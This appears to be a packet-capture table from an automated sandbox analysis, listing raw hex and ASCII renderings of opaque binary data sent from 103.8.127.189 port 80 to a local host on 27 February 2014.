Feb 27, 2014 17:56:11.556548119 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 d0 ef 48 9e f8 ca 32 7f 59 c7 a9 7c fd cb ad 37 f0 26 a5 5f 70 3a b3 b3 26 4b 1c 02 54 5a 44 db 34 ae 3e 17 50 c6 49 b7 bf 47 68 7b f9 eb 4c 5e 1d e3 04 f2 1c 4a 2d ff 35 03 61 1a 39 26 ae 6b 69 01 04 f0 1d 2f a5 fb f9 01 08 b7 11 86 55 da 9d Data Ascii: H2Y\|7&_p:&KTZD4>PIGh{L^J-5a9&ki/UJ) ](mNa5-tOM~GaWMJYGfR9,FT2[ D'~CVqZwWZ@UC_SKyC)sxUG	1074
Feb 27, 2014 17:56:11.566929102 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 7a b1 a3 9d 9e a9 40 47 9a db 5b 28 17 f0 8e 07 b3 7d 43 0c ca f9 43 e9 da 35 ea 61 de 30 4e 65 52 99 d9 ad a9 95 e6 6d 13 3c bb dc bc 3c 6e c8 d3 75 fa 2c 32 1d ae 1c 31 eb 58 68 f7 6f 48 bd f4 6f ae 08 d7 46 27 0d 17 94 4b 2e 53 75 43 e1 ef f9 Data Ascii: z@G[(}CC5a0NeRm<<nu,21XhoHoF'K.SuC@= @$x=,x!]Nxm5J,#:a5=WxH\tC}CSlqNBWIhBxUa>#x!*	1076
Feb 27, 2014 17:56:11.566946030 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 93 f9 ca db 97 79 2e 68 e4 5d 4a 24 96 1d b7 29 1e b5 22 ac bc 14 82 2c 97 46 43 e8 1f 35 0a 0e 94 f1 43 60 9f 92 4a e9 93 3d 0b 00 d7 79 4f ac 5e 46 ae 24 1e 78 21 6d 16 f9 20 eb 16 1d c2 2c b8 f0 0a e0 db 90 e9 41 d6 b9 2c 69 17 f0 26 6d 7a 38 Data Ascii: y.h]J$)",FC5C`J=yO^F$x!m ,A,i&mz8~q#}J#D{ybdQ,=6WQ"'iV"',8WJIimFy4JW!4&q'm=2T)iN	1077
Feb 27, 2014 17:56:11.566950083 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 52 3d ee a8 78 79 ea 7e 68 79 8a a1 d3 6b 95 cc 1d 11 bc ec d5 bd cf 0c 1f fd 4e 83 37 de 27 7c f3 5d ca a8 1a 8e ef a1 9b 04 22 81 ba 6d 27 70 c6 ff 6d 3d 6f 86 82 cc 14 f9 15 08 d3 39 47 7b d3 5d 42 6c d7 0c 6a ad db 06 8a 44 17 94 27 cc 92 b1 Data Ascii: R=xy~hykN7'\|]"m'pm=o9G{]BljD'hay#$`9CRh,JS8B\|W&D79RLk,\|JCH]uNmy-JyCn#xtFe=)\I=,Bx	1078
Feb 27, 2014 17:56:11.578373909 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 26 c0 d3 7b cb 21 33 bc ca 4e f3 f8 0a 6d b8 bd 0a c2 57 45 ca a4 ba 1d b8 ec 3f 59 48 53 c7 fc ea 53 d7 94 cf 80 16 48 d3 64 78 31 ae 04 df 22 4a 48 9b 31 ae e1 93 31 ae 2c 9f 8f 82 49 b6 bd 90 ac 14 f9 cf 5f 7e 78 0e 68 9c 5d 6a 28 93 90 84 29 Data Ascii: &{!3NmWE?YHSSHdx1"JH11,I_~xh]j()%(x# =ZNH2&(YYW:WS%NuDT+yM[jHWC}g2H}g`U"Sfzi*'5[IHJRUx	1080
Feb 27, 2014 17:56:11.578391075 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 83 a5 17 9c 41 61 56 3c 43 ca 7b f9 4b c8 7f 14 4b c0 b7 78 4a 5b 97 79 8b 0d e7 b0 43 ac db 5d 75 60 d2 3d 8f fc 37 f4 86 08 d3 04 ca aa df 26 4a a5 76 f0 86 21 b3 35 43 ac db 04 ee 6c 1e 35 97 08 51 55 4b ae 97 fd b7 08 d3 f8 48 0c 12 f8 4d 08 Data Ascii: AaV<C{KKxJ[yC]u`=7&Jv!5Cl5QUKHM&zG/]N,,R=93M[,`=`hzj]fscQfVJdzN,W%K54-@G=dK ;dV9g=	1081
Feb 27, 2014 17:56:11.578506947 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 22 75 7f d9 ea cc 7a 01 27 ec 9a c8 83 ad b7 f1 35 0c 1e b4 8a 45 d6 b8 6a fa 10 59 22 4c fe 99 d2 a5 13 99 b3 4c 06 75 97 a9 73 1d ce 00 d3 f9 ca 0c c8 1d ce 4c 3b f9 ab 21 1e b5 60 c4 ff 5c 62 2c d4 79 aa 16 f4 d9 4e c5 61 f9 ef a5 7b 91 a1 01 Data Ascii: "uz'5EjY"LLusL;!`\b,yNa{J,wNx}v-Fjp[-^{h{}LS9,r =7;NmRWh]-&n4,tg_OLNWX>5<yg	1082
Feb 27, 2014 17:56:11.671025991 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 47 5f 17 38 ce ad 5b 03 27 cc 9a f9 0b b7 b7 35 af 24 71 fc 4a e5 f3 7d bc a5 96 11 cb 2c 8c 94 ca a5 53 f3 86 fc 88 fb 6c ec 4d 79 a7 ad fa 71 cb ac 88 38 8e 69 1e fb 2a a5 07 90 c7 8a 13 b9 dd 03 97 58 4a e5 be 38 87 24 9a fc 71 2e 36 db c4 69 Data Ascii: G_8['5$qJ},SlMyq8iXJ8$q.6iwVBV5KD"L7IyeGC)L)Ceeml}J,RxAW9~QtOUW,>_\L<.D&P7JI]("sY_wOKsx:5*)}	1084
Feb 27, 2014 17:56:11.671044111 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 44 9f 11 ca 17 d7 f0 86 ac 9f 88 27 29 9b 1c 5f 68 17 79 4b e8 ac 75 23 2c b6 f9 a2 c8 1e 5c a6 9b d7 3d 4a 2c 12 96 2e 48 ff 94 56 a8 92 b9 4b 86 1e 3d c6 55 16 f9 22 c1 f3 68 82 a5 ba 15 48 0b 97 f7 43 c2 b2 b1 aa 68 17 8b ca 44 97 94 a6 e8 Data Ascii: JD')_hyKu#,\=J,.HVK=U"hHChD >Jypz ',SC]OJ!y`{kJl,7xrYJi#d<tJ^(N%m`0r4=J1zmz\|L,)"GTVC(	1085
Feb 27, 2014 17:56:11.671046972 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 22 a1 d8 51 27 c1 12 f9 89 ec fe 5c 8e 70 1e 1d 4a 08 9b 66 4f c8 f3 71 8d a4 7a 7c 6a 8d 5b f0 ce 12 db 29 23 20 1e d3 4b 87 e8 f5 61 2c 59 f9 8f 11 1e 95 8b 68 a3 f0 6a cd d2 f0 d8 c4 f7 ff 7b 61 17 f8 26 c1 b7 1d 82 a9 7a f9 26 48 d3 f9 a6 c0 Data Ascii: "Q'\pJfOqz\|j[)# Ka,Yhj{a&z&HyJHC y7q'aa{NIm=YKMNpI&I~sjHtuO{a/X=<jzxk[H5CiJ^Ptdt\|4^xKDy	1087
Feb 27, 2014 17:56:11.681935072 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 48 a0 97 ec 11 8c 96 90 ae d7 93 11 42 be 14 94 cf 6d b3 c9 4b be cc 49 46 24 e0 49 46 ad b9 b9 da 28 7e b1 82 4d 42 56 0b 0c 03 99 66 c1 92 f9 ab ec 5c 08 4e 04 5f 11 ce f3 37 dd 47 53 d4 dc eb bc 5e 39 47 44 17 53 c6 2c 7f f1 43 8d ad b9 52 ec Data Ascii: HBmKIF$IF(~MBVf\N_7GS^9GDS,CR<R-$jaR"E4BWR8~*N(F@(lJ)!Cp" z6aLp]5n'z9ly}J;iO8zjj[FK	1088
Feb 27, 2014 17:56:11.681952000 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a 05 d6 7d 1d 4d 9e f0 8b ac 2e 7d 43 c5 1e 16 8e 08 07 71 27 d8 d3 79 0a 52 56 75 4a a5 d3 00 ee 08 be 3d bf ef 17 d3 ca a8 93 19 02 7f 17 d9 8f ac d0 f8 a2 0c 7f 36 cb 2c 17 79 aa 10 9e fc 27 48 2a b9 86 a5 72 90 ec 08 97 d3 1d ac f6 3c 47 a9 Data Ascii: J}M.}Cq'yRVuJ=6,y'H*r<G),y}CsGDJyC8JK,hEwuHqnTy_$6JB]lcw^h474BWOJ 8\+~`];J\Wtn-Rs	1090
Feb 27, 2014 17:56:11.682070971 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 0b 69 ce 19 13 c0 13 46 42 8c 31 16 47 a1 ff 90 48 5d 57 91 8e ac 7f 58 02 c0 17 11 27 44 93 58 6e e5 1a f1 4a ac e3 3b 0d 69 5f 39 a2 ec c1 94 22 05 1f c1 0a e1 57 79 45 40 9a f4 8f b3 5f d9 1b 8e 51 db 1b a1 f7 94 4a b0 7f 74 44 a1 77 89 ea af Data Ascii: iFB1GH]WX'DXnJ;i_9"WyE@_QJtDwN3W%%Jz{XV~'U~eDBYz"%Tc3yY&X[Y^dy3O*Z@6lw.=]y_=/yIDbII!f)	1091
Feb 27, 2014 17:56:11.704643011 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 8f 2c 97 74 b4 a9 5a 78 6b 2c 1c d0 86 2d c8 d9 64 05 ee b9 86 28 9a fc f1 ec 27 ec 35 ac be 3d 8e 21 71 f8 0f 2d 56 c9 d6 44 93 11 a5 2c 57 7b 95 9e d7 19 39 ed 7b 18 1a ac bb 14 d7 2c 53 fc 27 21 e5 fd 63 5d 13 71 27 48 d3 e9 6a ec d2 ed ca f9 Data Ascii: ,tZxk,-d('5=!q-VD,W{9{,S'!c]q'HjlyJiz;hU-rCIJ(CVT}etJWx,n'414JMXVYQCa(Vi_JLuxK\9(<9Vm$	1092
Feb 27, 2014 17:56:11.704649925 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4a e4 f2 7d 6b ed 7f 75 4f ac e8 b9 ae 21 16 27 22 2d 1f 1c e6 cb 17 c2 c6 11 be bc c2 2d 96 46 ca a8 b7 46 8a 2c 15 f9 b5 0c be 3d ee 63 b3 19 4a 80 1e 3b 8e 08 93 78 bc ac bf fc 2e 49 66 f0 6a 2d 17 34 96 60 da 30 83 bd de f9 0a 20 97 96 ea ec Data Ascii: J}kuO!'"--FF,=cJ;x.Ifj-4`0 ~J-YVq,+D\|MJ,rhWV?{$WK8JhH,=h},9=,<J$ DyZvV"(}AC0Bhte =qW=J_9KqQS	1094
Feb 27, 2014 17:56:11.704663038 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ca 69 1e 0f 26 4c f5 f9 a5 ad 7b 71 ca 52 97 79 6a 68 b6 09 2e c8 f7 e3 8f a5 07 90 ae 89 bb d9 e1 8b 1a f4 4a c4 7a 0c 27 c1 16 b9 41 2c bb 39 22 44 c8 f9 27 6e 50 f9 8f a5 cd 14 ce 05 f2 cd 4a 2c f3 74 43 ea d2 75 47 a4 1a 46 22 0c 31 a9 a2 c1 Data Ascii: i&L{qRyjh.Jz'A,9"D'nPJ,tCuGF"1y%7AbYWP2Iy`"YwaNX_+$vx9NwJe<X]^~(\|)l}C-\|yhS@yC}N9y((?	1094
Feb 27, 2014 17:56:11.759744883 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ca c6 1e f9 c6 2d a4 79 ea db 85 02 9a ac 1e 53 9a ac 97 26 0a d0 34 39 07 6c 71 96 ee 0c c7 ec e3 69 1f 79 47 cb 17 f1 06 a6 9a 3d 42 e4 1a 46 4a be d6 0c a2 28 57 39 8b 29 1a 38 ce ac 52 38 88 24 e6 c2 22 6d ab 78 2a b1 57 bf 42 28 12 0e da f3 Data Ascii: -yS&49lqiyG=BFJ(W9)8R8$"mx*WB(%9CB9"MU_jLQ5.iyJ!'B-wKhz-'4X(yK_J8(-W[B" 3]z":&\z"z	1096
Feb 27, 2014 17:56:11.759762049 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 4f e5 14 46 4a 48 f6 0f 43 2d ff 78 f1 ac 7a 79 23 65 0f f4 8f cc 17 f0 b4 e1 d7 91 2a 31 7a f9 27 c1 7e bb 06 a1 12 5d 48 93 17 dd 43 ae 5b 39 22 e0 17 64 ca 2c 97 fd 75 ec f3 f9 e6 a1 c0 f4 ee c1 7a 09 6a c1 7f fc c2 99 17 b1 0a 53 17 1d e7 a5 Data Ascii: OFJHC-xzy#e*1z'~]HC[9"d,uzjSiSW98Jyw!'x],Ji?Nz0Cy%i&y"{&H%hy'D,y"K+$55q'B,,uOG^B(#Jjz5=$	1097
Feb 27, 2014 17:56:11.759931087 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 54 ec 58 74 4e a0 97 fa aa 2d 77 5b 22 6c 7a 1c 1b c0 07 94 cf a0 d2 f9 5a a9 38 b9 5a 21 13 fc a4 2c 09 38 b6 6d 17 38 47 61 48 95 22 85 3b f9 ba c1 7a fc 0a e3 f3 11 4a a9 7a a5 ae 29 1e 3c 13 ac 7f f0 87 c8 7a 11 26 2d 16 79 d1 69 7f fd 84 61 Data Ascii: TXtN-w["lzZ8Z!,8m8GaH";zJz)<z&-yia{JTa*.}'uCi.["I"HI' 45 lN]"4jEH}G\|MC%JLq zcB&g]CJe[/aWq=C	1098
Feb 27, 2014 17:56:11.770685911 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 9f d9 6c 5e 76 f0 86 48 17 90 0f 28 bb bd ef 6c 97 f1 22 80 aa b9 5c a5 a9 35 ae 28 7f dd de ac d3 91 66 33 87 f9 4a e9 a9 7d 66 e1 d7 63 ca ac db b8 8e 64 1e 98 22 e1 85 67 2a 9c 73 f9 fa e1 96 06 1a 8b 17 b5 20 c4 1b 78 ca 47 97 69 43 e8 db 11 Data Ascii: l^vH(l"\5(f3J}fcd"g*s xGiCD3l'8JyCN$IZ(m!Ny,Yu"{\|+yRNS9,n)9KiZzlu\XszZy=b'=j	1100
Feb 27, 2014 17:56:11.770701885 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: b7 f0 e6 57 1e 98 8c 43 df d8 4d a9 57 74 46 fe ed 29 1f 2c 28 7b 4c 24 97 ff 2f bd d7 f8 6b 13 3a 49 70 6f d3 5d c2 0c 16 0f 4a a5 13 b2 67 0d 4e f8 9a bc fe 0f 43 40 b3 7d f7 fd f7 4d 22 13 b3 f9 4e 08 06 f4 b5 8c 12 b9 a6 6d e7 e9 28 ad 09 78 Data Ascii: WCMWtF),({L$/k:Ipo]JgNC@}M"Nm(xZ')J]Ghd&(j']8qoPRnlH 1HaP"L~D ~)!j,j,QCZGCZ&"7$5A(JCuGiVt@~=}3lb	1101
Feb 27, 2014 17:56:11.770704985 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d2 d5 82 ac f3 75 82 77 f3 7d ea ec 17 8a 23 05 ff 79 f0 64 ff f9 cb c5 31 7c eb ec d7 3b 4a 44 93 f1 86 06 9b 34 22 28 f3 35 4a a7 d2 45 8a 6c 57 94 48 e4 57 f2 11 0d 5e f0 8e 92 37 7d 4b c4 7a 1d 8a 97 da 65 6b 6f 63 bc ce a0 7e 3b 63 00 7a fa Data Ascii: uw}#yd1\|;JD4"(5JElWHW^7}Kzekoc~;cz*5UKHy=`Wq=CRZE$xQClFi<CZ{&DjS,lNHAqGihx,yD&L}IyEi4&bHyOj-	1102
Feb 27, 2014 17:56:11.792784929 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d2 94 0f bc 63 fb 87 01 a2 b8 98 ad f2 59 23 29 5d 7b 25 2c 17 1c c6 c1 43 1d ee 6c 1e f9 34 28 1a 35 ee 13 9b 94 4a 48 b3 3e 8a 6d ff 79 93 a5 b7 df 8a 0d 06 cc 37 e1 7e 74 4e ad 39 09 22 2c 60 1d 6b c1 97 1d 3b 08 9b 94 0f 7c 25 ca 6a ad 53 55 Data Ascii: cY#)]{%,Cl4(5JH>my7~tN9",`k;\|%jSU\~PD-thwWJY<Y\Dh t-[#\!d.D(r"y,}[7x#$n\|ZWCCl=HyJA{M<B<k	1104
Feb 27, 2014 17:56:11.792793036 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1e 8a 23 3c f3 f0 c7 25 67 f2 ca f7 07 10 4a 20 e8 3d 8f 69 d7 ec 8f a5 b7 f9 35 08 97 c7 b5 0c d7 3c 6e 69 c2 09 47 2c d8 09 ba c9 de fb 27 6c 1f f0 27 49 d6 94 52 ef a7 d3 ea a2 ba 75 ef 7e a7 d3 ee 3e e3 69 1f 2c aa d9 a6 00 e1 09 00 a8 7a 21 Data Ascii: #<%gJ =i5<niG,'l'IRu~>i,z!.HehKdk<GO<,D4Je,V88hS<E'DqJcyC}^]3$'zC.]`ZH/9iD9U=wJ	1105
Feb 27, 2014 17:56:11.793977022 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 16 b9 4e 6c 8a 90 c6 e8 d3 42 4a 08 97 78 23 62 92 d0 86 a8 b2 37 0a 8e 5a 03 22 64 7b f9 27 60 7a fc 03 48 26 7c 67 8c 2a 78 48 e5 35 af 83 ac 73 f8 4b ac 53 3d 0a 1a 9b 79 2e 29 1f 0a aa 6d 17 fa cb 49 b3 3d 0a 7c 3b 15 8a 68 01 1b 36 c0 12 58 Data Ascii: NlBJx#b7Z"d{'`zH&\|gxH5sKS=y.)mI=\|;h6XX7,?xqKY,y% WLV,\|N5H7`V^W*FKI{y7<(Je[#"M&xzto4cHpKa\|'>1wJO	1106
Feb 27, 2014 17:56:11.887242079 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 6e 24 e5 f9 5f 29 a6 f9 5f 2c dc f9 23 e0 d3 90 d0 80 1f 34 4a c9 61 f8 87 c0 7a 4d 23 ac 96 58 0a 2f d7 b8 43 49 17 12 22 0c 5e f1 89 61 72 f8 48 93 1e 14 03 e0 16 14 2a ac f0 79 ae 2d 1a 2e 8f cc 17 39 27 58 f2 99 27 49 66 fb 02 fa 0a f1 0b c4 Data Ascii: n$_)_,#4JazM#X/CI"^arH*y-.9'X'IfVz~&W&,icC]n@zlK{W#dX'EHJ,ly#,6,%<[,HiNEz-^dtGiLCZ&B\|j-N7{.	1108
Feb 27, 2014 17:56:11.887250900 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d2 ec df 1d e3 f5 96 1c 4a 20 ff 2b e7 61 f3 50 43 ac fe 79 af 29 72 1d e3 45 17 7d dd 49 9a 1d e3 c5 d6 f9 ce 49 9e 1e 4b ed 9f f8 4a 13 57 95 27 2c 84 79 ae ac 16 91 a2 28 f3 15 c7 62 17 dc a3 2c 16 e3 27 04 f2 f9 ea ab f3 50 8b 28 88 1c 4a 24 Data Ascii: J +aPCy)rE}IIKJW',y(b,'P(J$-HtK)diD1oPIU'kIMlX!}i78h]"^p%w)\=Wo,>KyKaWlWAb\|l,H=5HN^9kz	1109
Feb 27, 2014 17:56:11.887254953 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: af 21 7a fb 9e ac 22 f0 3c ed 1e b5 8f a8 3f 3c 6a a1 50 55 22 a1 7b cb 36 6c 0d 3d 41 cc 3a 7c 5e 2d d2 dd 27 0c 97 b2 8b d8 36 ea 55 ec 27 1d 0a c1 cb 79 58 2c 1d 38 27 ac d7 78 82 61 db 34 8b 65 17 f8 0e 20 3a b9 ca 2c d2 db d7 4d 74 46 a2 2d Data Ascii: !z"<?<jPU"{6l=A:\|^-'6U'yX,8'xa4e :,MtF-bN,<JC.OPz&<J ,V4qDE%l}7>]"*(jjXi'hJ{'B{xWy&jfJI\'	1110
Feb 27, 2014 17:56:11.887258053 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: ee 08 3e 5b 6f 9d 78 91 b5 04 77 f0 6e 0c 00 fd ca 31 27 fc ce 51 d7 11 2e ac 96 8b 42 2c ff 99 47 2d 17 f0 ca 44 84 9c cb a0 97 b9 2a 44 7e 78 47 55 37 f8 cb a8 21 f1 0a 82 58 5d e6 c4 5e eb 97 0c 52 f0 08 5c 65 d1 bd 28 52 f9 4f 7b e7 91 63 d9 Data Ascii: >[oxwn1'Q.B,G-D*D~xGU7!X]^R\e(RO{c3'uml{-SxwxJO^xJllz{mmDb$PU6m,@8Ft{sx(>B"(3TDz='m(G%,.$LMdynlcK{	1112
Feb 27, 2014 17:56:11.887259960 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 46 41 95 21 eb cf 93 84 6f 0e 74 94 a3 c1 ca 98 6c fe 38 98 ca d3 97 09 c6 fd 07 e2 86 8c c8 5d e2 a1 fa 89 a2 c4 9b db 84 7c 25 58 0a e5 c7 f8 bd 0c 37 74 6e e5 f6 38 cb b3 d2 b0 46 85 33 e9 3c dc 06 b1 a3 c1 7a e7 fe 58 8d 49 c5 0c 14 a9 38 69 Data Ascii: FA!otl8]\|%X7tn8F3<zXI8ib~j,{!MQ<r"{I,'HqJ5<">zzVNj=,JauJ-',fqS'ae=A9Jq'm>Osj}Y$X:y,WGJ$<CZ{&Vm	1113
Feb 27, 2014 17:56:11.887401104 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 87 03 7f 38 47 61 c8 f9 02 0d 7a 38 0b 68 1e 14 6a c4 22 94 8a 20 15 a1 ea 40 54 fb 12 8c 13 95 f7 6d d3 39 dd 0c 3a 7b 0c 0c b6 b7 aa 2f e2 19 6d 85 16 bb 47 4e 7f 78 af c1 ca 79 cf c0 95 d4 e9 b0 9b f0 8f d7 7b b9 4b ec 4c 94 8b 2c 12 ee 0a a5 Data Ascii: 8Gaz8hj" @Tm9:{/mGNxy{KL,zk06$lZl(9CKNuzKyk-7nV9GVi"(:I{9eGjRHi{>MMW%DG1&GLu	1114
Feb 27, 2014 17:56:11.947323084 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: aa 2b 9a 3f 8a 68 7a 1c d8 ed 07 e5 27 c4 07 fa 02 d1 f7 ea 4b 7d 50 79 43 5a da 71 43 24 17 06 43 64 93 f0 95 4c 9b f9 43 6c 6c 71 43 21 16 13 4a ec 97 78 8b 73 93 d9 cb c4 7e a7 43 bc 28 e2 89 bd 57 f2 4f ac 1e 98 eb e5 87 f4 87 c8 13 f0 bd 9c Data Ascii: +?hz'K}PyCZqC$CdLCllqC!Jxs~C(WO4Y\=OkL,HPv4.'`@n4gWuyhI\-J(9(5~QZw$WW#Ck,(IWpCdJ-_PyWyeh<,+3	1116
Feb 27, 2014 17:56:11.947340965 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 87 a5 db b9 61 c4 13 9d 02 0c 04 f0 86 cc 3c 91 ce e0 5f 18 45 20 7f d2 0f 3c 12 f9 6a a1 f3 7d 87 62 f2 98 3a 61 db 99 0b 9c 46 39 f0 8c 76 11 4a 6c 56 39 98 2c 52 7c 6e ae fc 8b c3 69 93 f0 87 30 9f 78 4a b8 e4 bc 8f 28 57 56 7a ad 13 f1 25 ac Data Ascii: a<_E <j}b:aF9vJlV9,R\|ni0xJ(WVz%e4V4J4y'z\|FMYfE;yHv4'y7CIUJS<E4@9Qhj(x<P#mv<] (3lPJ@ui95C(>KDyJ3YCH.	1117
Feb 27, 2014 17:56:11.947343111 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: c7 a9 ec 9c ca ae a8 b9 ea e5 16 95 41 24 17 90 35 ac bf f4 86 08 68 55 8a c4 83 79 94 4c 9c fc 8a aa 12 d0 8b aa 17 f0 b4 60 b3 51 43 5a d3 b9 ee 00 16 0e 0b 2c 16 eb 4b e4 57 94 6e ad 1f 03 6a ad 70 19 4a 20 16 90 77 2c 7a f4 ca bc d4 74 4f ac Data Ascii: A$5hUyL`QCZ,KWnjpJ w,ztOVjlHH,CC9A7c,d*J9X~5qizO^J /xP"(CR]NSf]{'9JY+'	1118
Feb 27, 2014 17:56:12.013806105 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 17 75 d5 2c f3 7c a3 7e d3 f9 c2 4c ff 47 aa c1 f3 5d 0a 6b 97 78 8e 28 7c f9 8e 24 15 bc 4e 10 1e 3d b0 24 1a 31 08 2d f7 a7 c2 61 fb 35 8a 32 38 f0 6a a7 fe df 0a cf f7 06 8f 45 17 3d c2 87 f7 f4 a6 28 e4 f9 cb 21 96 7c e0 05 9a 19 4a 25 35 39 Data Ascii: u,\|~LG]kx(\|$N=$1-a528jE=(!\|J%59Gm"F<z5'hQL7L,:FmL\|(kW(h<CDqK"S}ZG<[C(FNqh{(q'4v=$`34<	1120
Feb 27, 2014 17:56:12.013824940 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 bc 8a 36 77 9f 4a 28 ee f8 ae 24 97 56 4b ac f3 75 ca 03 17 35 ca 2d 13 1e 8a 5c c1 92 e6 40 d7 79 5a 43 7a 7c 2e 6d 06 f8 ae 16 17 55 ca a5 53 03 86 ed 52 fd cb 87 47 fa ca c7 16 b8 ce 84 7e 46 ea bc 7a 4d a8 7b d6 f0 4a 21 3b de 8e 68 97 3d Data Ascii: 6wJ($VKu5-\@yZCz\|.mUSRG~FzM{J!;h=yO3s&UMiN(&;,8gD=GeB"@qz<z\|*.a;0\0z.uK,+Lm(f8d,Z^(EC{9'se7uI]hUwt	1121
Feb 27, 2014 17:56:12.013866901 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 97 e1 43 52 16 39 e4 a5 e9 bd cb e8 1e d2 18 68 57 c0 3d 68 97 29 bf ac d7 fd 68 67 17 55 ca 93 1a f9 4f 51 be f9 02 44 96 63 ea ec 1a 35 4a a3 b3 71 87 a9 c0 94 ae ac 9f f1 50 28 9e 34 26 44 17 b9 42 2d 7e 47 cb e8 96 f9 ca 03 d6 34 af c5 e1 74 Data Ascii: CR9hW=h)hgUOQDc5JqP(4&DB-~G4tJ](}tn@CV%+GFB&yZFL2}RVyCLx=-hh/!9Ny/,?B~y]~H*w,KBR9kE,yB	1123
Feb 27, 2014 17:56:12.013871908 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d3 09 27 23 97 a3 86 c7 bf f9 27 0c 9b be e2 64 f2 9d 8a d8 da 90 8a 44 35 f6 52 ad 0f b3 af af 0f f1 af a9 9b a8 e6 b4 d3 69 22 e8 7f c5 6a ae 9a f0 6e ae 0f 18 cf ff 55 b2 ca b5 97 dc 4b bc 56 7d 8b 11 77 fb 8e 10 7f f9 ee c4 7a 29 27 a5 53 35 Data Ascii: '#'dD5Ri"jnUKV}wz)'S5N`=^'IfxJso4Z^Z"3*0yWi<'Y^,i"zA'CC]Z$"#F^&(3'v<90YC@QJNN;yc9&SC"	1124
Feb 27, 2014 17:56:12.013878107 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 68 a9 6d 0d 33 dd 8e 1c 13 e9 c2 fc 13 95 ae bc 9b f1 87 93 f7 ce 27 c4 f3 f9 c2 a5 d2 c4 2e c4 b2 d5 68 de e4 fd e7 44 97 09 4e c0 d7 fb bf bc 05 3c f5 c8 d7 94 ee 9c 47 94 cf cc f6 cb fb 42 92 f8 ca 41 4e 95 cf 49 9a 8f 0a 9e 3f 35 48 04 97 cd Data Ascii: hm3'.hDN<GBANI?5H7'r2zx u,"=JL1zO8]y8JJTmQ#mOyMSrrAM&QK"@MJNYD	1125
Feb 27, 2014 17:56:12.014308929 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 1f b9 4a ec 57 f9 e1 8a 37 b8 4a ac 57 79 61 ed 17 12 ae ff 86 f9 0b ac bc 31 0a ac 7c b8 4a 47 b1 5d 7b ad 56 f9 e1 2c 86 f9 26 ac 13 6b 71 ed 17 02 0e ec 17 82 66 ed 17 b3 6e 4d 17 f5 0a ac ac 1d ab ac f7 2c db ac db c8 4b 04 f6 f9 ee 4d 17 88 Data Ascii: JW7JWya1\|JG]{V,&kqfnM,KMMly{NWqBJ[MhJJ$}LExKlDJnF=Jj*o)LWVR1`WqLJ?&l{VqV.	1126
Feb 27, 2014 17:56:12.075335979 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: d1 0a 33 c8 4b ed 17 62 46 ed 17 1d cb ad b1 35 0b ac 16 f0 d1 00 57 f9 91 cd 1f b3 11 ad 1e 62 2b a4 0c 95 0a ac cc dc bb 8b 9c 18 54 e7 3b b9 4a 67 5f ae 0b ac d6 d9 49 6b b7 c9 5a a7 66 e8 c1 39 86 f9 81 7a 69 46 aa 2b 17 06 1a 2a 83 f9 b5 cc Data Ascii: 3KbF5Wb+T;Jg_IkZf9ziF+* JJ^`VhWqLWHz>Ff}VqW1NWhJMq!NJG[J-U+<+xK-aSZVbVw9oGvJ?JaM?UHk\|XfV	1128
Feb 27, 2014 17:56:12.075341940 MEZ	80	1060	103.8.127.189	192.168.0.18	Data Raw: 51 8d 9f 18 68 27 36 f8 6c 24 17 46 c3 c5 97 f9 b5 24 96 f9 ce 6d 16 fb 49 08 a4 38 ec 2d 17 42 82 2d 17 9b 48 6c 57 9a de 57 db 78 4a 68 97 f9 71 4c 97 f9 18 17 b6 51 71 a8 36 f8 c6 cd 10 d5 7f 0d 14 d1 2b ae 5f d8 4b 2d 17 c2 2a 05 97 f9 31 28 Data Ascii: Qh'6l$F$mI8-B-HlWWxJhqLQq6+_K-*1(JQK}uK8K$+\|K.,-qq6NG,N-Im[]amFKamFNV`V-XsKR+R)zE-2F=RT&,:bLxJXz78K-%	1129
